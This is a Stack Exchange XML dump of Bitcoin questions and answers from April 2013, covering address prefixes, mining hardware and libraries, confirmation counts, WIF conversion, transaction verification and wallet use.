  <row Id="9222" PostTypeId="1" AcceptedAnswerId="9226" CreationDate="2013-04-05T21:45:03.770" Score="12" ViewCount="6384" Body="&lt;p&gt;The title is the question :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the addresses I have seen - from the very first block &lt;a href=&quot;http://blockexplorer.com/b/0&quot;&gt;http://blockexplorer.com/b/0&lt;/a&gt; to the very last one &lt;a href=&quot;http://blockexplorer.com/b/229850&quot;&gt;http://blockexplorer.com/b/229850&lt;/a&gt; all begin with &quot;1&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that? And - if it's really like that - why do we need the redundant number there and not just cut it and make the addresses 1 letter shorter?&lt;/p&gt;&#xA;" OwnerUserId="1760" LastActivityDate="2019-05-23T05:25:44.470" Title="Why do all addresses begin with &quot;1&quot;? Why can't we just delete it?" Tags="|address|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9223" PostTypeId="2" ParentId="9209" CreationDate="2013-04-05T21:47:28.713" Score="-1" Body="&lt;p&gt;If anybody could answer that question, they would be too busy buying up every last coin of said currency.&lt;/p&gt;&#xA;" OwnerUserId="3145" LastActivityDate="2013-04-05T21:47:28.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9225" PostTypeId="1" CreationDate="2013-04-05T22:06:56.367" Score="1" ViewCount="4270" Body="&lt;p&gt;Hi guys is there a Java or C# library for &lt;strong&gt;mining&lt;/strong&gt; bitcoins? I am hoping to incorporate it into an application. I have read the other questions that asked about libraries but i need to know if these libraries allow mining&lt;/p&gt;&#xA;" OwnerUserId="3970" LastEditorUserId="5406" LastEditDate="2016-04-28T12:49:04.343" LastActivityDate="2016-04-28T12:49:04.343" Title="is there a Java or C# library for mining bitcoins?" Tags="|development|mining-software|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9226" PostTypeId="2" ParentId="9222" CreationDate="2013-04-05T22:33:56.707" Score="16" Body="&lt;p&gt;If an address begin with &quot;1&quot; then it's a hash of a public key, &quot;3&quot; for a script hash, &quot;5&quot; for a private uncompressed key, etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a list of all prefixes here: &lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_address_prefixes&quot;&gt;https://en.bitcoin.it/wiki/List_of_address_prefixes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-04-05T22:33:56.707" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9227" PostTypeId="2" ParentId="9215" CreationDate="2013-04-05T22:49:53.483" Score="4" Body="&lt;p&gt;Cartels are unstable due to members defecting for the economic benefit that comes from doing so. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://en.wikipedia.org/wiki/Prisoner%27s_dilemma&quot; rel=&quot;nofollow&quot;&gt;Prisoner's dilemma&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because miners are anonymous, the cartel would likely see defection immediately.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="2306" LastEditDate="2013-04-05T22:59:52.390" LastActivityDate="2013-04-05T22:59:52.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9228" PostTypeId="2" ParentId="9222" CreationDate="2013-04-05T22:58:43.713" Score="0" Body="&lt;p&gt;Because bitcoin and all of its derivatives have addresses start with their own prefixes, I can  write a program that can tell between Litecoin, Namecoin, Bitcoin, and testnet addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine if you couldn't - lets say you see a *coin address on the website of an open-source project, and send some bitcoins to it. It turns out that it's actually a devcoin address. Of course, they could have clarified that it was a devcoin address, but that would take more than one character :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also reinforces the point that they're different coins.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-05T22:58:43.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9229" PostTypeId="2" ParentId="9211" CreationDate="2013-04-05T23:06:43.827" Score="1" Body="&lt;p&gt;Recourse is a term used in general terms to refer to things being made right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I kick a ball and the ball breaks my neighbor's window, my neighbor can insist that I make things right -- such as paying for the replacement cost.  If I don't, there are a number of approaches that can help make it so that I'll make things right, including posting a note on the mailbox sharing with my neighbors my action and response.  So in that scenario, my neighbor has some degree of recourse and I'll likely make things right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a person borrows money to buy titled property and there is a lienholder, the ability to foreclose / repossess the property is among the methods of recourse available to the lender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I order an item from someone on eBay and instead of my item arriving I get only an empty box, I can simply contact my credit card company to file a dispute and have the charges reversed.  That is my recourse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Bitcoin transactions, once they have confirmed it can be presumed they will never be reversed.  If in the example above with eBay, but instead where you had paid with bitcoins, there is little recourse available to you.  eBay might let you enter a negative in the seller's history, but they won't be able to reverse your payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when accepting bitcoins for payment after seeing the transaction's status with 0/unconfirmed there is no guarantee yet that you'll receive the funds.   If you hand over cash to someone who you don't know, there's little you can do if the payment transaction to you gets double spent and your transaction never confirms.  Even if you know who the person is, there's likely very little you can do to get the bitcoins you were expecting from the transaction that never confirmed.  So that's why 0/unconfirmed transactions carry risk -- as they are not guaranteed and bitcoin offers no recourse if you do get scammed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use an escrow party, at least then the recourse to scamming is the possibility that the escrow will not deliver the funds to the scammer.  Escrow provides some level of recourse for transactions where little existed.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-04-06T23:51:13.023" LastActivityDate="2013-04-06T23:51:13.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9230" PostTypeId="2" ParentId="9174" CreationDate="2013-04-05T23:21:56.130" Score="3" Body="&lt;p&gt;Mt. Gox has a BTC/EUR market so you can sell your bitcoins for EUR and withdraw them.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you mention that you already have a USD balance at Mt. Gox.  The cost to convert them to EUR within Mt. Gox will vary based on the ask price on the BTC/USD market and the bid price on the BTC/EUR market.  It is possible you can buy BTCs with your USDs, then sell them on the BTC/EUR market and even after fees still end up paying less than any other conversion method (based on the forex EUR/USD exchange rate).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you simply want to do an international withdrawal, you can withdraw USDs to your bank and your bank will charge you a conversion fee to change those funds into EUR.  Wire fees from Mt. Gox apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For smaller amounts (e.g., less than $1K USD or so), you will likely find it more affordable to buy bitcoins and sell them for EUR then withdraw as an inexpensive SEPA transfer.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-05T23:21:56.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9231" PostTypeId="2" ParentId="9077" CreationDate="2013-04-05T23:46:36.033" Score="2" Body="&lt;p&gt;You may be able to use &lt;a href=&quot;https://en.bitcoin.it/wiki/Pywallet&quot; rel=&quot;nofollow&quot;&gt;pywallet&lt;/a&gt; to get these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download a more updated version &lt;a href=&quot;https://github.com/jackjack-jj/pywallet&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-04-05T23:46:36.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9232" PostTypeId="1" AcceptedAnswerId="9236" CreationDate="2013-04-06T00:33:06.440" Score="1" ViewCount="178" Body="&lt;p&gt;The point of waiting for six confirmations is that it becomes near impossible to create six blocks vs the network. So double spends a effectively eliminated.  With the hash rate of the network so high, is four blocks enough to have the same security? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what about in the case of a fork like the one that resulted in 23 blocks?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2013-04-07T16:32:20.580" Title="Is four confirmations enough if the network hash rate is so high?" Tags="|blockchain|network|confirmations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9233" PostTypeId="1" CreationDate="2013-04-06T00:56:52.087" Score="12" ViewCount="1320" Body="&lt;p&gt;If ASICs are able to mine BC so fast, why are the creators of these machines even selling them? If they just created them to mine with them themselves, they could get so many BC and in turn make BC worth so much (as BC for the rest of us would be so few in comparison) that they'd theoretically make a hell of a lot more money that way than by actually selling these machines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the hidden agenda with sharing these machines? Do the creators of ASICs think/know that BC is a bubble/fraud and just want to make as much money as possible before people realize that their machines were BS?&lt;/p&gt;&#xA;" OwnerUserId="3972" LastActivityDate="2021-12-11T02:40:09.243" Title="Why do the creators of ASICs not just keep them for themselves?" Tags="|asic|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9235" PostTypeId="2" ParentId="4105" CreationDate="2013-04-06T02:22:22.817" Score="2" Body="&lt;p&gt;Just checked, and there is a significant lack of wallets just a few months later. The only one that seems active at all is the command-line wallet. The YouTube link below can help you identify the NMC wallet's address from the command prompt in Windows, and the other link is to the page where you can download the NMC wallet's software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTC-e.com doesn't have e-wallet capabilities. Their deposit addresses (as David Perry so helpfully pointed out) limits the duration of the deposit addresses, and you have to have a wallet to withdraw to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just waiting for someone to come out with a good GUI wallet that's easy to use and doesn't require programming knowledge to implement (source code is good, precompiled executables is better, and both is the best).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In just a year, we've gone from over a dozen clients to less than 4 which seem to be currently kept up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=ezo1t90QLFQ&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=ezo1t90QLFQ&lt;/a&gt; - Very simple tutorial--TAKE NOTES!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dot-bit.org/&quot; rel=&quot;nofollow&quot;&gt;http://dot-bit.org/&lt;/a&gt; - Links are on the right-hand side of the main page.&lt;/p&gt;&#xA;" OwnerUserId="3975" LastActivityDate="2013-04-06T02:22:22.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9236" PostTypeId="2" ParentId="9232" CreationDate="2013-04-06T02:35:30.690" Score="2" Body="&lt;p&gt;Technically, one block is enough. However, a single block orphan occurs with sufficient frequency that many Bitcoin business prefer three or six confirmations. The difference is more a matter of personal choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hash rate of the network does not significantly impact the time between blocks because of the difficulty level. The difficulty level helps maintain the block timing at approximately every 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoin.org/chainfork.html&quot; rel=&quot;nofollow&quot;&gt;The 11/12 March 2013 blockchain fork&lt;/a&gt; was a bit of a special case. Only &lt;a href=&quot;https://bitcointalk.org/index.php?topic=152348&quot; rel=&quot;nofollow&quot;&gt;one known double spend occurred&lt;/a&gt;, and that was a result of someone who crafted a raw transaction involving a company (OKpay) that did not heed the warning to cease transacting until the fork was resolved.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="1409" LastEditDate="2013-04-07T16:32:20.580" LastActivityDate="2013-04-07T16:32:20.580" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9237" PostTypeId="2" ParentId="9233" CreationDate="2013-04-06T02:35:55.897" Score="4" Body="&lt;p&gt;When an entity owns 51% of mining power, it is possible to control the network. This is bad for two reasons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;People who own bitcoin say, &quot;Those guys might control the network! We should sell our bitcoins!&quot;&lt;/li&gt;&#xA;&lt;li&gt;The government of wherever you do business says, &quot;Finally, a way to control that Bitcoin network! Issue them a court order to keep all transactions from confirming until we draft legislation to prevent Bitcoin payments to terrorist groups.&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Obviously, you don't want either of those.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-06T02:35:55.897" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9238" PostTypeId="2" ParentId="9233" CreationDate="2013-04-06T02:49:21.867" Score="9" Body="&lt;p&gt;I can't really answer this without speculation, since I'm not an ASIC developer myself. Please keep that in mind when you're reading this!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a two paths that ASIC miner manufacturers have to make a profit.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Expend fiat to produce mining equipment&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use mining equipment to mine bitcoin&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sell bitcoin for profit&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Profit&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Accept fiat or bitcoin in exchange for ASIC mining equipment&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Profit&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The shortest path to profit is to sell the device. Existing bitcoin is worth more than non-existing bitcoin &lt;em&gt;right now&lt;/em&gt;, especially when that existing bitcoin can be turned into more mining equipment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that they can also do some of both. While it may not actually be so, it's fair to believe that employees of an ASIC manufacturer are likely to invest in their own product by purchasing one.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-04-06T02:49:21.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9243" PostTypeId="2" ParentId="9233" CreationDate="2013-04-06T10:00:48.607" Score="0" Body="&lt;p&gt;Governments aren't much fond of bitcoins.  Taking all of these machines and turning the output into bitcoins, and then turning all those bitcoins into cash, will almost certainly draw looks in your direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That, and the boxes probably have non-bitcoin applications.&lt;/p&gt;&#xA;" OwnerUserId="3986" LastActivityDate="2013-04-06T10:00:48.607" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9244" PostTypeId="1" CreationDate="2013-04-06T10:22:16.750" Score="2" ViewCount="6826" Body="&lt;p&gt;Based on the following link:  &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet_import_format&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Wallet_import_format&lt;/a&gt; , a private key of 256 bits gets transformed into a WIF address that is stored in the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, my question here is how did we convert step 6 into step 7? In step 6, the address consists of 74 hexadecimals characters (or 74*4= 296 bits). If we convert this 296 bits address using the code58, we need to divide 296 bits by 6.. ? I believe that some details are not mentioned, any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3784" LastEditorUserId="5406" LastEditDate="2020-10-18T03:05:58.600" LastActivityDate="2022-12-15T16:32:42.943" Title="Private key to WIF" Tags="|wallet|private-key|wallet-import-format|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9245" PostTypeId="1" CreationDate="2013-04-06T12:31:55.397" Score="2" ViewCount="3214" Body="&lt;p&gt;From the download page, &lt;a href=&quot;http://electrum.org/download.html&quot; rel=&quot;nofollow&quot;&gt;http://electrum.org/download.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What is the difference between the two windows versions? standalone executable and the windows installer version?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What are the advantages and disadvantages of each, and how should I choose which one I should use?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3987" LastActivityDate="2019-05-17T09:03:25.710" Title="electrum windows client, standalone executable versus windows installer" Tags="|client|installation|electrum|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9246" PostTypeId="1" CreationDate="2013-04-06T12:39:26.500" Score="1" ViewCount="138" Body="&lt;p&gt;When you install this bitcoin thingy it takes like 6 GB of space from your computer. That's huge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why isn't there some kind of open source site that stores this info, and the client can access there when it needs to?&lt;/p&gt;&#xA;" OwnerUserId="3956" LastActivityDate="2013-04-06T12:39:26.500" Title="Why not keep the database online?" Tags="|database|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9247" PostTypeId="1" CreationDate="2013-04-06T13:38:18.613" Score="-1" ViewCount="220" Body="&lt;p&gt;I downloaded program some months ago. I always wait for blocks to sync before I do anything. After everything is synced I have been going to where the surveys are to get coins, however, after completely finishing survey, nothing ever shows up. I must have done in excess of 15 surveys and still nothing. I've tried using new addresses and old addresses to no avail. I have contacted support and they always come back saying that the coins have been sent. I have checked and verified everything that is possible and still nothing.  What in the world am I doing wrong? &lt;/p&gt;&#xA;" OwnerUserId="3991" LastActivityDate="2013-04-06T16:30:22.780" Title="where are my bitcoins" Tags="|money|" AnswerCount="1" CommentCount="1" ClosedDate="2015-12-04T06:41:50.017" ContentLicense="CC BY-SA 3.0" />
  <row Id="9248" PostTypeId="1" CreationDate="2013-04-06T13:47:11.980" Score="19" ViewCount="34995" Body="&lt;p&gt;I am trying to understand the role played by various nodes in the Bitcoin Network in verifying the transactions that are taking place in real time. I think that I understand the process of Transaction (using Input and Output Scripts) and how the Transaction is formed. However I am trying to correlate it with how a Transaction is Broadcasted to other nodes and then verified?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if A wants to send some BTC to B, then 2 things will occur:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(a) A will form the input script of the new transaction. It will reference the output script of a previous transaction where A received some BTC (in the past). It will prove the ownership of those BTC by using its Public Key and verifying the Signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(b) The output script for the new transaction will be formed by A's client. It will store the hash of the BTC Address of B and enable it to spend these BTC in future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;All these actions are performed by the Bitcoin Client of A and it does not require any interaction with the Peer to Peer Network. It has its own local copy of the Block Chain which it can use to perform the step a. So, isn't the transaction verified by the bitcoin client of A?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I am guessing that this new transaction that was created (input and output scripts formed as described above) will be broadcasted to the entire Bitcoin Network. Now, what type of verification is being performed by other nodes on this transaction?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;On what basis is a Transaction accepted by the Bitcoin Network and integrated into the Block which is a part of the Block Chain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3226" LastActivityDate="2016-10-25T14:27:41.577" Title="How do nodes verify Bitcoin Transactions?" Tags="|transactions|transaction-verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9249" PostTypeId="1" CreationDate="2013-04-06T14:41:13.860" Score="5" ViewCount="14271" Body="&lt;p&gt;How do I unlock a bitcoin-qt wallet? I know my passphrase and all.&#xA;It says that my wallet is encrypted and locked for now so how do i unlock it?&lt;/p&gt;&#xA;" OwnerUserId="3994" LastActivityDate="2018-02-05T21:09:43.680" Title="Unlock a Bitcoin-qt wallet" Tags="|wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9250" PostTypeId="1" AcceptedAnswerId="9255" CreationDate="2013-04-06T15:20:12.043" Score="2" ViewCount="220" Body="&lt;p&gt;It seems like there has been a steady progression from CPU mining, to GPU, FPGA, and now ASIC, and it all happened in a relatively small amount of time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If bitcoin was created in say, 2005 instead of 2009, and popularity grew at the same demand, would we likely see FPGA/ASIC hardware years earlier than we did, or would this be highly improbable at the time due to the then current technology?&lt;/p&gt;&#xA;" OwnerUserId="1618" LastEditorUserId="5406" LastEditDate="2016-03-06T19:10:22.833" LastActivityDate="2016-03-06T19:10:22.833" Title="If bitcoin was created years earlier, would we see the same rate of mining hardware evolution?" Tags="|mining-hardware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9251" PostTypeId="1" AcceptedAnswerId="9253" CreationDate="2013-04-06T15:36:09.133" Score="0" ViewCount="165" Body="&lt;p&gt;The &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;original Bitcoin paper&lt;/a&gt; states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We define an electronic coin as a chain of digital signatures.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What happens when a coin is subdivided and transferred to multiple owners? Does each coin fragment form its own chain of digital signatures, or are all the fragments still part of this one original chain of digital signatures?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastEditorUserId="5406" LastEditDate="2021-03-06T19:35:14.507" LastActivityDate="2021-03-06T19:35:14.507" Title="What happens when a coin is split?" Tags="|utxo|whitepaper|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9253" PostTypeId="2" ParentId="9251" CreationDate="2013-04-06T16:02:44.383" Score="2" Body="&lt;p&gt;Each fragment starts it's own chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I randomly selected a transaction for you to see.  Try this link: &lt;a href=&quot;http://blockchain.info/tree/7514743&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/tree/7514743&lt;/a&gt; and click on the yellow circles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit2:&lt;/strong&gt;: Actually, this one is more interesting: &lt;a href=&quot;http://blockchain.info/tree/50429084&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/tree/50429084&lt;/a&gt;  In the former, the payments mostly returned in part to the original address.  That's odd.  The usual way of doing things is sending to one address and returning to yourself at yet another address.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastEditorUserId="1507" LastEditDate="2013-04-06T16:10:44.373" LastActivityDate="2013-04-06T16:10:44.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9254" PostTypeId="2" ParentId="3111" CreationDate="2013-04-06T16:11:15.513" Score="1" Body="&lt;p&gt;Adjust difficulty per transaction in the block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it a big part of the problem is that the fees people are paying might turn out to be too low. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[UPDATED] As Nick mentions in the comments of this answer: The only reason a miner would exclude a non-zero fee transaction is to save space on the block, thereby hoping that in the event of a another miner finding the block at the same time their smaller block will reach more nodes faster and be accepted. Of the top of my head this seems like it might not be incentive enough, especially if communication technology keeps increasing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea is to link the difficulty required for the solution of a specific block to both the current network difficulty as usual and to the number of transactions (or total size of) the transactions in the block. Meaning transactions now have to compete to be worthwhile to add to a block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea on feasibility, or if it's redundant with existing mechanisms but I &lt;em&gt;assume&lt;/em&gt; that a change could be made to the protocol to make it so that when checking a blocks validity it takes this rule into account? Probably only if the block reward has reached or neared zero and over a certain minimum threshold number/size of 'difficulty free' transactions (which could be variable based on the utilization over the previous time period?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't sat down and though this through or looked at the bitcoin source code however. :)&lt;/p&gt;&#xA;" OwnerUserId="3631" LastEditorUserId="3631" LastEditDate="2013-04-08T14:00:26.077" LastActivityDate="2013-04-08T14:00:26.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9255" PostTypeId="2" ParentId="9250" CreationDate="2013-04-06T16:11:26.767" Score="3" Body="&lt;p&gt;Difficulty would have risen slower, but would have still been out of reach for most people at the same proportion as today. The GPU makers have not been creating graphics cards with the target audience of general processing and algorithm solving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASIC/FPGA mining hardware has zero innovative aspects than what you would have seen a decade ago. These are simply dedicated chips for solving Sha-256 algorithms. ASIC stands for &quot;Application Specific Integrated Circuit&quot; and could mean anything, although the cryptocurrency miners use this term very loosely. But for clarity, the bitcoin ones are ASIC for solving Sha-256 algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The industry has always been able to make dedicated chips, as you have dedicated chips for Mpeg-2 processing in video editing rigs, your digital camera has an ASIC for processing light very quickly. Whereas the CPU in your computer is for general processing, with the most R&amp;amp;D being to create faster and more efficient general processors for a variety of applications, instead of just one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to sum it up, with a profit motive the Sha-256 ASICs would have come out a decade ago because there has been little advance in technology needed to create them. &lt;code&gt;Sha-2&lt;/code&gt; was created by the NSA in 2001, or at least published by the NSA in 2001.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not a feat of engineering to make a machine efficient at solving one algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another difference between a decade ago and today is that crowdfunding over the internet by presales would have been less trusted. Making securing the capital more difficult to create and produce ASIC mining equipment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also worth noting that bitcoin can be switched to another algorithm if a vulnerability is found in the current algorithm (sha-256). This would mean that a different kind of ASIC would have to be created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, the folly of fiat currency mismanagement was not as apparent a decade ago during a period of prosperity, so people may not have viewed acquiring bitcoin as a worthy endeavor.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2013-04-06T16:11:26.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9256" PostTypeId="2" ParentId="9249" CreationDate="2013-04-06T16:12:38.993" Score="2" Body="&lt;p&gt;It unlocks when you need to spend.  If you try to send money to an address, it'll ask you for a password.  You don't need a password to receive bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-06T16:12:38.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9257" PostTypeId="2" ParentId="9248" CreationDate="2013-04-06T16:23:29.170" Score="7" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes, but that doesn't mean that the network has accepted it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_rules#.22tx.22_messages&quot; rel=&quot;noreferrer&quot;&gt;There are rules for accepting a transaction.&lt;/a&gt;  Miners only include blocks that don't break the rules.  The rules include checking that the inputs are valid, that a coin isn't double-spent, that the output isn't more than the input, etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A miner can choose to include a transaction or not.  A miner could even choose to include a transaction that breaks the rules!  But if he does that, other miners that are following the rules won't accept his block and he won't get his mining reward.  So he has incentive to follow the rules.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-06T16:23:29.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9258" PostTypeId="2" ParentId="9247" CreationDate="2013-04-06T16:30:22.780" Score="1" Body="&lt;p&gt;Go to this website: &lt;a href=&quot;http://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the search in the top-right corner, type in the address that you sent to the survery people.  (Addresses are not secret, you don't have to worry about giving it to the website.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they sent you bitcoins, you should be able to see the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you see the words &quot;Firstbits not found&quot; in red then it means that the address has not received any coins yet.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-06T16:30:22.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
